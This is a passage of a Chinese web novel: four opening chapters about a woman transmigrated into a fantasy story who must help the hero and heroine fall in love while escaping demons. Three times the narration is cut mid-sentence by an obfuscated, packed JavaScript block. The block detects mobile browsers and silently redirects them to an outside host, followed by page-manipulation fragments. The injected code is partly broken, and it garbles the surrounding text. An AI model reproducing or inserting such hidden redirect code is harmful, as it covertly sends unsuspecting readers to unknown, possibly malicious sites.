《炮灰但卷成反派大佬》
1. 第 1 章
三月三,上巳日。
春光明媚,天朗气清,沈惊澜穿梭在一座深山山腰的树林中,神色慌张,时不时回头张望。
她鞋子跑掉了一只,深一脚浅一脚,跑得越来越慢,眼看身后的蛇妖就要追上自己,她却看着前方突然面露喜色。
“救命!”沈惊澜挥手冲前方大喊,蛇妖一瞬间扑向她的后背,露出毒牙逼近她的脖颈。
她扑倒在地,紧闭双眼,心跳咚咚咚咚,提到了嗓子眼。
脖子没有痛感。
沈惊澜缓缓睁开眼睛,一双纤白的手出现在眼前,清泠的声音响起:“姑娘,不要怕,已经没事了。”
“恭喜你,主线剧情【偶遇主角团】顺利完成。”
耳边传来系统冰冷的声音:“主线剧情完成1%,正式触发主任务,请查收。”
回头一瞥,蛇妖被一箭穿喉,没了气息。
沈惊澜长舒一口气,抬眼望向面前的女子,搭着她的手,颤颤巍巍站了起来。
眼前的女子容貌秀丽,眉眼弯弯,娇俏可人,身后两名男子样貌俊秀。
这就是《志妖录》的女二和男主、男二了。
《志妖录》不过是她看过的很古早的一本小说,剧情都记不太清了,没想到居然会莫名其妙穿越进来,好巧不巧还穿越成了女主。
本来她还高兴,女主沈惊澜好歹是妖界新秀,立志成为新一任妖王,带领妖界走向和平与繁荣,实力自是不用多说,可她偏偏就是个倒霉的——
这个世界是《志妖录》的同人文,原著中多次害她的女二秦秋成为女主,而她则要成为反派女二,还要陪秦秋走完剧情,奉献自己,成全秦秋。
真是倒了八辈子霉。沈惊澜眼前出现一行金色的小字:
【主任务】:帮助裴玄喜欢上秦秋,让二人终成眷属。目前进度:0。
沈惊澜心里大骂,和着她穿越过来纯粹是来当炮灰的。
【系统提示】:原著裴玄对沈惊澜一见钟情。
系统提示消失。
“姑娘,你没事吧?”秦秋关切道。
沈惊澜回过神来,应付了两声:“没事没事。”目光越过秦秋,望向她身后一身藏青色衣袍,面如冠玉身姿如松的男子,那应该就是裴玄,原著中温润如玉、正义善良的除妖师,白月光一样的男主。
坏了,一见钟情,原著的女主可是长着一张艳丽到妖孽的脸,她刚才摔倒没摔着脸,再看下去男主岂不是要为她绝美的容貌动情了?
沈惊澜不动声色地后退了一步,拿开搭在秦秋手上的手,腿一软,以头抢地。
“姑娘小心!”
沈惊澜把头埋在土里,忍住剧痛,很快被人一把拉起,裴玄围了上来,与秦秋一起关切道:“你一定是被吓坏了,别害怕,蛇妖已死,你可以安心了。”
她脸上沾满泥土,额头被碎石扎了许多小伤口,伤口处如有无数小虫啃咬一般胀痛,顺势眼中蓄满泪水,倒在秦秋怀里,娇弱道:“多谢几位大侠出手相救,小女子不甚感激,方才真是吓死我了,若不是你们及时赶到,恐怕我早已经,早已经……”说着说着,她埋在秦秋怀里嚎啕大哭起来。
别的可能记不太清了,可她记得原著中沈惊澜的性子坚毅,处变不惊,手段狠辣,颇有枭雄风范。
而她,则可装成草包,让裴玄对她失去兴趣。
秦秋温柔地轻抚沈惊澜的后背,拿出锦帕小心翼翼地帮她擦拭脸上的泥土,轻声道:“别怕别怕,你家在哪?我们送你回家。此处妖气盛,不要再来了。”
家?可不能回家,她被现任妖王暗算封印了法力,想要她死的妖不计其数,好在她从前都是以原型现身,没人见过她化人的样子,现在化人型反而是安全的,若是把她送回老巢,肯定要被埋伏在那里妖怪啃个精光。
“我家……家在莽山附近的一个村子,离此处十分遥远……”沈惊澜一边哭一边道。
她的法力被封印在极北莽山的镇山兽须臾兽身上,她是苍山山都,苍山主生,莽山主死,妖王少鹰是要把她逼死。
一个没有法力的妖与凡人区别不大,如何能去险恶的莽山?去了又如何与须臾兽抗衡?
而他们三人也正好要去莽山求药,原著中女主正是借此机会与之同行。
“那真是奇了,你一个弱女子,怎么从极北的莽山跑到南边来了?难不成你会飞?”
揶揄的声音从秦秋身后传来,沈惊澜从秦秋怀里离开,瞥了眼那名身着绯红衣袍得男子,一双桃花眼秾丽至极,眼波如春水流转,只是水中还掺着坏水——男二卫昭明,裴玄和秦秋的小师弟,身重奇毒,此番求药正是为了他。
此人浑身邪气,一张嘴最是欠揍,唯独十分敬重裴玄和秦秋。
沈惊澜心里白了他一眼,泪水一点不带休息地又淌了下来,“小女子命不好,没了双亲,被叔叔家卖给了人贩子,一路随着人贩子到了此处,好不容易趁人贩子放松警惕跑了出来,却又误入深山碰到了妖……”
“哦?”卫昭明若有所思地点点头,眯着眼睛凑上前来,“那这人贩子真是煞费苦心,从莽山到这里怕不是要走上几个月,他管你吃喝到这么个穷山僻壤的地方,这笔买卖能回本吗?”
“这……”沈惊澜真想把他的嘴缝上,她忘了原著女主是用什么理由搪塞过去的,只能编一个破绽百出的谎言。
她装作被卫昭明吓到的样子,躲在秦秋怀里瑟瑟发抖,声音微弱:“这我如何得知,可能他与我叔叔有什么阴谋也说不定。”
“师弟,这位姑娘着实可怜,你就别吓她了。”裴玄发话,递给沈惊澜一个小巧的白瓷瓶,“不知姑娘如何称呼?”
沈惊澜怯生生回答:“我叫阿兰。”
“阿兰姑娘,这是治外伤的药膏,”裴玄把瓷瓶放在沈惊澜手心,面带忧心,“若是送你回家岂不是让你再入狼窝?这里离云山锦绣城不远,我们三人乃锦绣城弟子,不如送你去锦绣城学习除妖之法,日后也能自保。”
万万不可!
“万万不可!”
沈惊澜绞尽脑汁想办法要拒绝,没想到卫昭明抢先替她回答了。
“师兄师姐,你们心太软,此人来路不明,怎可随便引进锦绣城?”
秦秋微微皱眉,略带责怪道:“阿兰姑娘只是个普通人,你为何如此紧张?”
她法力被封,身上自然也没有妖气,可不就是普通人么。
沈惊澜慢慢止住眼泪,声音带着浓重的哭腔,后退一步离开秦秋的怀抱,眼中带着几分哀怨:“阿兰无法自证,这位少侠怀疑也是情理之中。”
顿了顿,深吸一口气,接着道:“阿兰不敢麻烦各位,但北上莽山势在必行,叔婶夺走我家家产,我必回去讨回……”
“更何况,莽山,还有人在等我……”说着,沈惊澜在袖子里掐了自己一下,又逼出一点眼泪,红了脸。
【裴玄好感度】:10%
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717012|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
?沈惊澜连忙垂下眼眸掩盖住眼中的惊异,这裴玄是恋爱脑吧?这都能有10%?
她不敢停顿,继续道:“救命之恩,本当以命相报,但既然各位疑我,阿兰不敢再叨扰各位,就此别过,此番恩情,阿兰下辈子愿做牛做马报答!”
说罢,沈惊澜拖着被沙砾磨伤的脚一瘸一拐,毫不犹豫地离开。
一步。
两步。
三步——
“阿兰姑娘!”秦秋和裴玄叫住她。
果然。
沈惊澜松了口气,停住脚步,仍没有回头。
秦秋拉着她的胳膊,拦在她面前,连忙解释:“阿兰姑娘,我们绝无此意,只是我师弟平时太过谨慎,此行路险,你独自一人去莽山实在凶险。”
裴玄接着道:“正好我们也要去莽山,不如同行?”
两人言辞恳切,沈惊澜闪过一丝愧疚之心。
在小说的开始,秦秋也是个温柔善良的女子,勇敢正义的除妖师,若不是沈惊澜的出现,若不是裴玄的一见钟情,她也不会受人蛊惑,误入邪道。
或许这个世界,才是这个故事原本的样子。
锦绣城的大师兄、最有前途的除妖师、一身正气刚正不阿的裴玄,偏偏喜欢上一个野心勃勃的妖怪,真是孽缘。
“少侠不必勉强,”为了让他们充分信任自己,沈惊澜假意拒绝,“阿兰只是个普通人,不愿意给恩人添麻烦,若半路遇险,阿兰就只当自己命苦,报仇无门,归乡无路。”
裴玄道:“我与师妹师弟乃除妖人,路见不平,除妖卫道,本就是为保护普通百姓,若连一个弱女子都保护不了,卫道之心岂不成了笑话?”
“只是我师弟身中奇毒,需尽快前往莽山寻药,一路艰苦,阿兰姑娘若不嫌弃,还请一路同行。”
“既如此……”沈惊澜佯装犹豫了一下,向三人行了个大礼,“阿兰感激不尽!”
三月三,正是春色动人时。
沈惊澜深吸一口气,林间的草木清香弥漫进春风中,掩盖了蛇妖散发的血腥味,灌入鼻腔。
低头行礼的她嘴角微微勾起。
从一开始跑掉鞋子,到后来偶遇摔倒,从她一进入到这个世界,接收到要完成主线任务开始,一切都是她刻意为之,就是为了博得裴玄和秦秋的同情。
她知道她必然会遇到主角团,也料到单纯正义的二人一定会起恻隐之心。
虽然从一个普普通通的小职员一下子穿越到这古怪奇幻、充满未知与危险的世界,但好歹她看过原著,还有系统,也许情况也没有那么糟糕。
眼前再次浮现出金色小字:
主线剧情完成5%,
【主任务进度】:0,
【裴玄好感度】:15%。
“请注意,裴玄对沈惊澜好感度上升过快,不利于主任务完成。若主任务无法完成,将产生你无法承担的后果。”
什么难以承担的后果?沈惊澜心里问道。
“万劫不复。”
沈惊澜心一沉,目光穿过系统提示望向裴玄,在明媚的春光中,春风撩起他蓝底银纹的发带,发带飘至眼前,微微遮挡了沈惊澜的视线,只看得到他含笑的眼眸。
他是比春风更和煦的存在。
她别过视线,看向一旁,不巧对上卫昭明充满敌意的试探。
沈惊澜背后发冷——
春色撩人,杀意四起。
2. 第 2 章
北去莽山,此山是必经之路。
此山妖气横行,她刚来就遇到一个蛇妖,可山脚附近村落却不少,很是古怪。
沈惊澜跟在三人后面,这才有时间慢慢思考自己的处境:
原著很多情节她都已忘记,结局倒是记得很清——
裴玄为了沈惊澜以命换命,秦秋疯魔,邪火烧身而亡,而卫昭明,成为邪火中的炮灰,也顺带被烧死了。
只有沈惊澜活了下来,成为妖王,孤独终老。
似乎,沈惊澜的结局还可以接受。
可如今要换个身份成为女二,结局又当如何?
目前剧情走得还算顺利,当务之急是要让裴玄对她的好感度下降,并且为他和秦秋制造心动的机会。
至于她的结局如何,目前还没有一丝头绪,只能走一步看一步。
不太妙的是,秦秋好像就是在这里发现裴玄感情的萌芽。
得想个办法给他们二人制造一点碰撞火花的机会。
沈惊澜拿出平常给客户写方案的架势,开始谋划PlanA。
“你们看这里有块石碑!”裴玄走到一块巨石旁,蹲下身子,一块青黑斑驳的巨石上长满杂草。
他拨开杂草,清理干净泥土,露出两个模糊的字。
秦秋歪着头仔细辨认了一番:“什么山……从未见过这样的文字……”
第一个字笔画歪歪扭扭,不像是字,更像是图案。
“这个形状好像一艘船哦。”沈惊澜围上去,若有所思道。
船,船山?
船山藏!
她想起来了,原著第一单元就叫船山藏!
“阿兰姑娘可是知道些什么?”卫昭明没有放过她眼底闪过的异样的情绪。看似随口一问,语气中却带着威胁。
沈惊澜故作娇弱,眉头微蹙,以袖掩面低声道:“我怎会知道什么?只是觉得这个图案很像小儿作画,阿兰儿时画画时,画的船也跟此图案差不多呢。”
裴玄和秦秋都好应付,唯独这个卫昭明,最是讨厌。
当初看原著时,她就很不喜欢这个角色,身为锦绣城掌门唯一的儿子,被他爹PUA长大,性格乖戾得狠,偏偏最敬重裴玄和秦秋,觉得沈惊澜破坏二人的感情,与秦秋想方设法要除掉她。
很多馊主意都是他出的,可谓一肚子坏水。
裴玄右手放在下巴,微微点头道:“阿兰姑娘这么一说,我倒也觉得此字是‘船’字。”
沈惊澜狠狠点头:“是呢是呢,未进山时,远远望去,此山形状恰如巨船。”她想引导主角团往正确的方向去想,毕竟她已经记不清具体剧情,一切都要靠主角团。
“哎?你们看,这里有宝贝!”巨石旁的草丛中,沈惊澜一眼看到一粒碎金藏在一片绿叶下,绿叶随风飘动,阳光照在碎金上,映出斑斑驳驳的晶莹。
“【系统提示】:路边的宝贝不要乱捡。”
“提示晚了……”沈惊澜面无表情地看着手中的碎金,不知该笑还是该哭。
“阿兰姑娘你说什么晚了?”
秦秋的话音未落,突然大地震颤,沈惊澜的脚下陡然出现一个深坑,她在坑的边缘一个没站稳跌入坑中,跌落之前手到处乱抓以期抓住什么。
冰凉的胳膊。
沈惊澜来不及思考,像抓住救命稻草一般,死死抓住,指甲几乎都要嵌入其中。
“你放手!”
一声怒吼,一个人影跟她一起被拉了下来。
碎石泥土迅速堵上了洞口,眼前是一片漆黑,只有下坠感和耳边的风声提醒她她还活着,还未落到坑底。
“咚咚”两声巨响,两人重重摔在坑底,溅起一片尘土。
撞击带来的眩晕感让沈惊澜短暂地失去了意识,一种混沌、不安感笼罩了她,仿佛回到了她刚穿越到这里时,周遭皆是黑暗,她身处其中,不知所在何方,不知是死是活,甚至感觉不到自己的身体是否还存在。
一小簇火苗在黑暗中亮起,沈惊澜眼睛睁开一条缝,身体的剧痛痛得她眼泪汪汪,只隐约看到火苗之后,一张俊美到妖邪的面孔。
他好像很生气。
眉头紧皱,一双微微上挑的眼眸发红,透露着不悦与杀意。他沉着脸,犀利的眼眸透过火苗,直白地毫不避讳地撞上沈惊澜的视线。
原来是把卫昭明拉下来了,还好还好。
这样裴玄和秦秋就有更多独处的时间了。
她现在人还没完全清醒,满脑子都是怎样完成任务,离开这个充满危险的地方快点回家。
“【系统提示】:原著中沈惊澜与裴玄一起掉入洞中,裴玄为保护沈惊澜受伤,沈惊澜对其初有好感。”
虽然剧情不太记得了,但系统还算有人性,会提示关键剧情。
沈惊澜狼狈地爬起身子,发现虽然浑身疼的散架了似的,但是胳膊腿都还能正常活动。
一缕淡淡的桃红色光束在昏暗的火光中从她背后溜走,回到卫昭明手中。
沈惊澜没有错过这一点异样,暗暗松了口气:看来他还是有些善心的。
“你在高兴什么?”
“……”沈惊澜很想翻个白眼,但不敢,只能垂下眼眸,任由疼出的眼泪流淌,夹着嗓子啜泣道:“我高兴是因为卫公子救了我,虽然不知道这是什么地方,但卫公子身手了得,一定会带阿兰脱离险境。”
“你在说谎。”卫昭明逼近一步,墨黑的眼眸刀锋似的刺向沈惊澜,要把她整个人刺穿。
卫昭明手心的光亮不断跳跃,映在他有些苍白的脸上,明暗闪烁之间,衬得他有些瘆人。
沈惊澜抹去眼泪,从地上爬起来,以袖掩面,带着浓浓的哭腔道:“阿兰以为,当务之急是赶紧逃离这里,万一又遇到妖怪可就麻烦了。”
能让裴玄受伤,这里一定有实力不俗的妖怪。
卫昭明冷哼一声,用掌心的火光照亮前路,大步跨过她身边,走到前面带路:“你放心,遇到妖怪我不会救你,但可以给你收尸。”
沈惊澜在他背后白了他一眼,连忙跟上他的脚步。
很静。
在小小的一方光亮中,沈惊澜的感官变得高度敏感,鞋子摩擦土地的声音、呼吸声、心跳声变得格外刺耳。
也许是宿主本身的敏锐,也许是她高度紧张出现了幻觉,周围似有流水潺潺声。
“卫公子,你有没有觉得潮湿了许多。”
“没有。”卫昭明依旧冰冷地回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717013|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
答。
不对劲。沈惊澜抬起左手,指间凝聚了一滴小小的水滴,水滴很快挥发,留下几粒结晶颗粒。
是咸的。
呼吸之间,一股凉意袭来,全身汗毛立起,她本能地回头——
“啊——”
一张小儿的脸倒挂在她面前。
明明周遭昏暗,她却能清晰地看清小儿通体赤红,眼睛小而亮,头发稀疏,暗红的大嘴咧开,占据半张脸的大小,露出青色的獠牙。
红脸小儿不等沈惊澜反应过来,黑暗中伸出长臂,抱住她的头颅,手腕灵活一旋,就要把她的头扭断。
冰冷潮湿的触感,沈惊澜忘记了呼救,忘记了呼吸,眼前的赤红倏地变为黑暗。
“滴答——”“滴答——”
有水滴滴到了额头,顺着鼻子流到了嘴边。
咸的,海水一样苦涩。
身体被淡淡的桃红色光亮包围,形成一道屏障。
沈惊澜腿软了一下,往后退了一步,碰到了什么东西,低下头一看,是两只赤红的手。
她抹去脸上的水,是藏蓝色的,与断手处流出的液体一样,原来不是海水,是这妖怪的血。
“愣着做什么,赶紧躲起来。”
一道身影从身旁飞过,转瞬间眼前多了一个身着绯红衣袍的背影,头顶藏蓝色的血滴下来,沾湿了他束起的马尾,顺着乌黑的头发浸湿了他的肩膀,晕成一朵暗红的桃花。
沈惊澜如梦初醒,靠着周遭的光亮小心翼翼又快速地挪动脚步,躲到旁边凸起的石壁后面,探出脑袋盯着局势。
“【系统提示】:原女主为山之精怪——山都,生于苍山,能感知山之万物,即使失去法术,其敏锐的感知能力也非常人能及。”
系统适时地出现,怪不得方才她比卫昭明还早一步发现异样。
眼下卫昭明愿意救自己,说明他是嘴硬心软,如此自己应当不会命丧此地,而裴玄和秦秋又能独处,只要能尽快完成任务回家,这点危险就不算什么。
赤红小儿断了双手惨叫一声,“嗖”地一下窜下来。小儿不过两尺高,肥胖臃肿,两只黑豆一样的眼睛睁到最大,愤怒地挥动没有手的胳膊。
断面的血很快止住,肉瘤一样的东西快速从伤口长出,眨眼间两只手完好如初。
好家伙,这修复能力,不会是不死身吧?
卫昭明冷哼一声,拔出浮光剑,沉声道:“雕虫小技。”
赤红小儿彻底被激怒,抬头长啸,声音如波涛汹涌拍岸,要将万物溺于无尽的汪洋。
妖怪率先一步动作,两手着地作四足,肥胖的身体异常灵活,眨眼之间扑到卫昭明面前。
卫昭明挥剑相抵,剑光所斩之处不断溅出藏蓝色血液,同时伤口以惊人的速度恢复。
小儿的攻击密如雨下,以攻为守,卫昭明被动抵挡,数招过去破不了妖怪的防,表情渐渐凝重。
沈惊澜屏住呼吸,剑花缭乱如电舞之间,山都敏锐的观察力发挥了作用,她看出了些许端倪。
“卫公子,妖怪接下来一招——”
卫昭明闻言手一顿,妖怪没有给他任何喘息的时间,飞身而来——
“它会袭击你的喉咙!”
3. 第 3 章
刹那之间,呼吸凝滞,四下寂静。
沈惊澜看到卫昭明额头滴下一滴汗。
“滴答——”
一声极细微的声响打破死寂。
赤红的手指离卫昭明的喉咙不过一寸,长长的血红色指甲堪堪触碰到他的喉咙,苍白的皮肤上多了一点血印。
他死死盯着赤红小儿,浮光剑深深没入妖怪的胸口,一汩汩藏蓝色的血喷涌而出,溅到了他姣好的面庞,狼狈,但又好似绘了一幅水墨画。
赤红小儿本以为这击必中,没想到沈惊澜预判了他的招式,浮光剑带除妖咒,贯穿胸膛,造成重创,便气急败坏,身体后倾想抽身,谁料卫昭明掌心运力,浮光剑带着妖怪的身体向后飞去,硬生生将妖怪钉在石墙上。
妖怪不断痛苦地嘶吼,震耳的声音如同海啸翻涌。它不停地扭动四肢,突然把手插进胸膛伤口处,伤口像猛兽的嘴巴把手吞噬,很快手与伤口融为一体,止住了血。
浮光剑发出铮铮剑鸣,沈惊澜意识到什么,大喊:“快拔剑!”
与此同时卫昭明也意识到了不对劲,猛地拔剑后退,而后一只脚点地,调整姿势意欲再次出击。
赤红小儿的身体却变得扭曲,皮肤血肉融化了般向胸口弥漫,很快化为一片泥泞。
死了?
沈惊澜还不太敢相信,躲在石头后面不敢出来。
直到卫昭明捡起一块石头向那滩泥泞砸去,溅起一朵藏蓝混着赤红的水花,没有任何反应,才长舒一口气。
“方才,”浮光剑依旧握在手中,却指向了沈惊澜,“真是多亏你了。”
“?”你这是感谢人的态度吗?沈惊澜银牙紧咬,盯着卫昭明满是血污的面庞硬生生扯出一个笑,“阿兰不才,从小眼力就好。”
“妖怪的动作比普通人快上数倍,刚才的妖怪修为深厚,恐怕要快上百倍,普通除妖师三招之内必会招架不住,我自诩眼力还算可以,没想到却不及阿兰姑娘一个普通人。”
沈惊澜继续赔着笑:“可能,这就是天赋过人吧。”
卫昭明压低眉毛,惑人的双眸充满危险的气息:“我不像师兄师姐,没那么多善心,脾气也不好,你若再不说实话,我现在就让你跟这妖怪死在一处。”
这个人油盐不进,实在不好糊弄。沈惊澜收起笑容,从石墙后走出,刚擦干净的面庞此刻又沾满了许多灰尘和妖怪的血,遮住了明媚姣好的面庞,看起来有些狼狈。
她的脸上不见之前的娇羞和怯懦,正色道:“卫公子,我知道你不相信我,我也无力自证,但眼下最重要的是脱离险境与裴公子和秦姑娘会合,若是你信不过我,出去之后我走便是。”
“裴公子说除妖师除妖卫道,就是要让普通百姓免受妖怪侵扰,如今妖未除,卫公子当真要对我一个普通弱女子动手吗?”
卫昭明愣住,浮光剑指偏了一分。
沈惊澜冷笑,原来这厮吃硬不吃软。
那就更好办了,她本来就装累了,此刻便彻底冷下脸来,原本泪眼汪汪的杏目多了几分凛冽:“卫公子若还执意针对我,那便从此刻桥归桥,路归路,这坑洞,阿兰自己闯出去。”
脚下的土壤湿度变了。
沈惊澜眸子微动:果然她就知道没那么简单,不然原著中裴玄也不会受伤。
空气中弥漫着赤红小儿咸腥的血味,沈惊澜嗅到其中多了一丝不同的味道。
“卫公子,”她心生一计,转身背对着卫昭明,“若有缘,那我们便莽山再见了。”
说完,她踏出一步。
“等等!”卫昭明声音有些不情愿。
紧接着脚下的土地开始震颤,空气突然潮湿得能拧出水来,一滴滴咸腥的海水从石缝中渗出,很快就打湿了他们的鞋履。
果然让她赌到了。
到赤红小儿死,她才想起来这是什么妖怪。
泥魃生于海中,高不过两尺,通体赤红,面若孩童,其声如海啸,专吃行船人,驭其亡灵。
原著中裴玄重伤泥魃后坑洞灌入海水,无数被泥魃吃掉的人的亡灵化作幽魂,要把他们拽进水底。
卫昭明拽住沈惊澜的胳膊,挡在她身前,没有回头,“现在让你独自涉险,我这除妖师岂不成了笑话?”
沈惊澜此刻很想露出胜利的笑容,但是情势危急她无心宣告胜利。
“如此,我又欠卫公子一个人情。”
“别说话。”
卫昭明在二人周围设起一个结界,桃红色的光亮在昏暗的地底成为了唯一的光束。
海水上涨的很快,沈惊澜被他拉着飞速往前走,以图找到水浅一点的地方。
然而走了不过几步,结界外的水已经涨到了胸口。
“你看那里!”饶是有所准备,沈惊澜还是忍不住惊呼。
两人都头皮发麻。
海水已经彻底围住结界,脚下、头顶已经被黑暗的水包围,成为无尽的深渊。
深渊之中,不知何时有数不清的像银鱼一样的东西在飞速窜来窜去。
百条?千条?上万条?沈惊澜数不清,他们像万千飞舞的丝线,一点一点编织成一张密不透风的网,而他们也是被网住的蚕,只不过不会在蚕蛹中化蝶,而是在其中消亡。
“他们……”她毕竟是在现代文明社会中生活的,初到这个世界就碰到了蛇妖和泥魃,没被吓破胆子已是不易,可如今书中恶心的妖怪近在咫尺,她心中的防线彻底破了。
她控制不住声音中的颤抖:“他们不是银鱼,他们长着人脸!”
鱼尾之上,一张张银青色的人脸上,独眼鹰鼻,呲牙咧嘴露出两颗青色的獠牙。
卫昭明面色凝重,不敢有一刻松懈,奋力支撑着结界:“他们身上怨气极重,你在我身后躲好,别妄动。”
原著中跟妖怪动手的是裴玄,修为比卫昭明高不少,裴玄尚且受伤,更何况是如今苦苦支撑的他呢?
沈惊澜心中的不安被无限放大,双手紧紧握在一起仍忍不住颤抖。她在心里呼叫系统:如果我提前死了会怎么样?
系统适时地出现:
若情节终止,任务失败,你会化作这里的一缕孤烟,永远无法离开。
好家伙,连个全尸都没有。
沈惊澜心跳漏了一拍,霎时浑身被冷汗浸透。
她抖得厉害,使劲掐了一下大腿逼自己冷静下来,沉声道:“卫公子,方才那个赤红小儿叫泥魃,是海里的妖怪,这些银鱼都是被他杀掉的出海行船之人,这座山叫船山,所以我猜测自踏上这座山的那刻起,我们便成了出海行船之人,整座山便是船,而海,则是山中之妖海。”
“可有破解之法?”
“你能破土而上吗?”他们掉下来大概有十几米,原著中裴玄靠强大的修为直接从地下往地上破开了一道口子,妖海至阴,见不得阳光,他把沈惊澜托举到地面后自己差点被妖怪拉下妖海。
结界的光晕开始忽闪,卫昭明撑不了多久了。
“唯有一试。”他深吸一口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717014|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微微回首,把腰间的玉佩递给她,对沈惊澜道,“抓紧了。”
沈惊澜犹豫了一下:“若是拽断了……”
“不会断。”卫昭明不等她的动作,直接攒起她的手握住玉佩,另一只手高举浮光剑,桃红色的光聚集在剑的顶端。
在结界消失的一刹那,一股强大的力量自剑向四周迸发,排开四周的妖海,妖海因此掀起巨浪,翻涌咆哮,无数青面银鱼幽魂被炸开,紧接着海水深处的幽魂又密密麻麻地扑上来,叫嚣着要把他们撕碎。
沈惊澜忘记了呼吸,忘记了闭上眼睛,紧紧攒着玉佩,强大的气压让她不得不贴紧卫昭明的后背,万缕幽魂在耳边咆哮,山崩地裂般怒吼。
大脑一片空白。
她是谁?现在身处何处?
她直愣愣盯着卫昭明肆意飘起的绯红发带,透过发带看到妖海深处一个诡异的身影,猛然清醒。
“快!就是现在!泥魃复活了,快!”
一切不过是眨眼之间,卫昭明所有的法力瞬间爆发,强烈的气流冲击,沈惊澜的五脏六腑好似被卡车碾过一般,四肢百骸千刀万剐,她无力支撑,几乎要倒下,手中的玉佩在此时却有千钧之力,将她稳稳托住。
头顶传来巨响,紧接着碎石飞溅,卫昭明在他们头顶上方架起新的结界,但这方结界已经十分弱小,几块大的石头几乎要冲破结界,砸到二人的头顶。
没有了法术的逼退,妖海重新翻涌而来,海水深处的泥魃如同一只灵活的游鱼,要趁他们脆弱奉上最后一击。
“失败了。”卫昭明再次发力,架起完整的结界,身体已经透支,嘴角、眼角渗出了殷红的血丝。
他到底不如裴玄法力强大。
沈惊澜从强烈的恐惧之中回过神来,一股无力感蔓延。
海水从结界的脆弱处慢慢涌入,很快淹没了膝盖。
【系统提示】:宿主处于极度危险中,请抓紧想办法脱离陷阱,否则任务失败!
海水没过了腰部,沈惊澜低头看了眼手中的玉佩,苦笑自嘲:“此番来去,真是炮灰命啊。”
“别说丧气话。”
“那你有什么办法?”
“没有。”
水已经到胸口,冷得她直发抖。
幽魂发了疯般附着在二人身上,露出两排锯齿状的细牙,一点点啃食,不见血,它们啃食的是精气。
【系统提示】请注意!宿主生命在迅速流失!
【系统提示】请注意!!宿主生命在迅速流失!!
好吵。沈惊澜闭上眼睛,平静地等待死亡的来临。
当一缕孤烟也没什么不好的,至少没有妖怪来吃她。
只是回不了家,很是难过。
“轰隆”又一声巨响,沈惊澜猛地睁开眼睛,还没反应过来怎么回事,一道强烈的光让她短暂陷入了失明。
身体不受控制地漂浮了起来,她在海水中向上漂浮,本能地屏住呼吸,闭紧眼睛,不过片刻,冷得刺骨的海水消失。
她好似重新回到了地面。
“阿兰姑娘你没事吧!”
“师弟!师弟还在下面!”
她茫然地睁开眼,才发现自己虚脱地躺在地上。
而身旁无尽幽暗的洞口,正在缓缓闭合。
手中还握着卫昭明的玉佩,温润的触感提醒她刚才发生了什么,她突然想起——
原著的一开始,卫昭明也是个心怀苍生、一心卫道只不过有些臭屁的十七岁少年罢了。
4. 第 4 章
无力。
深深的无力感。
明明已经获救,全身上下依旧有被千百条银鱼人面妖怪啃咬的感觉。沈惊澜分不清这感觉是真是假,只觉得所有的力气都顺着这些细小的伤口流走,流入地下的汪洋之中。
坑洞消失了,地面一切如初。
可是卫昭明还在下面。
裴玄和秦秋还在不断地尝试击穿地面,沈惊澜张了张嘴巴,发现连说话都困难:“二位……”
“阿兰姑娘你先找个安全的地方躲一下,一会碎石乱溅当心伤了你。”裴玄没等沈惊澜把话说完,一巴掌拍向地面。
烟尘四起,大大小小的石块四溅,她长叹一口气,在乱石之中哑着嗓子拼尽全力说出一句完整的话:“卫昭明在西北方向,四五米远的地方,快,他的位置在动!”
说完,一阵眩晕袭来,迷迷糊糊之间,一股股来自四面八方的微小的力量从身下的土地传到她的身上。
“恭喜你,解锁山都的能力之一:感知山之万物,能力之二:获取山的能量。”
系统的声音响起。沈惊澜在昏迷之中,眼皮沉得千斤重,身体无尽的虚弱感却慢慢消失。
怪不得刚才感受到了地下妖海的流淌。
系统继续解释:“在宿主身体疲惫受伤时,可以通过山的力量修复身体时,即使身不在苍山,天下万山皆是你的助力。”
好强的能力。
沈惊澜默默记下,问道:我和卫昭明掉进妖海,算不算偏离主线?
“本文女主和女二身份互换,部分剧情自然会相应改变,这种情况不会被判定为偏离主线。”
她对系统的判定范围有了一个大概的判断,然后继续问道:那结局呢?
原著她成为妖王独活的结局也蛮好,只是现在成为女二,从她看文的经验来讲很难不被正义男女主制裁。
“结局自然是由剧情发展而定。”
懂了,可能大概率还是炮灰命。
“另,恭喜你解锁新的数据。”
什么?
“【卫昭明好感度】:1%。”
?不是你们除妖师未免也太容易对陌生人产生好感了吧?
沈惊澜深吸一口气,千头万绪,正好借昏迷的这个时间慢慢梳理。
没有时间再沉浸在恐慌和害怕的情绪中了,必须想好下一步的方向。
“昭明!昭明你醒醒!”
不远处传来秦秋急切的声音。
救上来了,但不一定能救活。
